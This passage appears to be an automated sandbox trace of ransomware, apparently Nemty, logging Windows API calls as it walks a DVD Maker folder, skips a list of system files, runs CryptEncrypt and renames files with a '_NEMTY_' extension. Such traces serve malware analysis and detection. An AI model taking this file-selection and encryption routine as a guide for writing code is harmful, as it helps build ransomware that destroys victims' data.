(HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0082.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.193] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.193] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.193] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.202] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.202] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.202] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.234] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.234] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.234] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.243] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.243] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.264] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.264] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.264] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.280] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.280] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.280] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0082.286] CloseHandle (hObject=0xffffffff) returned 0 [0082.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0082.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0082.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0082.286] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0082.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0082.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401b8 [0082.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340270 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0082.286] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0082.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0082.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0082.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.287] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb0da69, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb0da69, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_photo_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2=".") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="..") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="...") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="windows") returned -1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="rsa") returned -1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="ntldr") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="programdata") returned 1 [0082.287] lstrcmpiW (lpString1="rectangle_photo_Thumbnail.bmp", lpString2="appdata") returned 1 [0082.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_photo_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0082.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_photo_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_photo_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0082.287] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0082.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_photo_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0082.287] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_photo_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_photo_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0082.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0082.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_photo_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0082.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_photo_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ecb8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_photo_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0082.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_photo_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0082.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0082.288] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_photo_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x4f9ed58, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_photo_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 29 [0082.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0082.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0082.288] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0082.288] Sleep (dwMilliseconds=0x5) [0082.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe4b41b30, dwHighDateTime=0x1d561e7)) [0082.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe4b41b30, dwHighDateTime=0x1d561e7)) [0082.304] GetLastError () returned 0x5 [0082.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.304] GetLastError () returned 0x5 [0082.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0082.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0082.304] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0082.304] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0082.304] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0082.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0082.304] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="2X9G5WpPpWb4X6XuDCyxEpCXqxrf4+Ko7qvWzKXpn4NYJCRmgwcSeR99KGMWpP07\r\nU0tDYXoCpf5WA47STTDDqbgeWkUvoAtJFKyC4nDuKv0ahBsCtJ5+HGL7MCpx52wb\r\nUuhoJ7x/FwSqPFOaQsdrKGtsjRUqMx2vMY3Qz497Z9ozqpNZVTErxQH/praPfuT+\r\nsCtaU1HGCvDalhR1UOls1DdVm46kYJpcRlCKWp+8NQgkOp+eALm68Lx1VRTUE1aO\r\nnA12CEGj3WlJOR+QJuNZEWkx9h3KfSJWQ7NCj0qS6ksKRJkdkhEb+vOJ841KHs8H\r\nOFoLQiMrHXgzxu0SXKCNdA==\r\n", pcchString=0x653ec5c) returned 1 [0082.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0082.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.304] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0082.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0082.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0082.304] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0082.304] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.305] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0082.305] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0082.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.315] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.315] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.315] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.324] 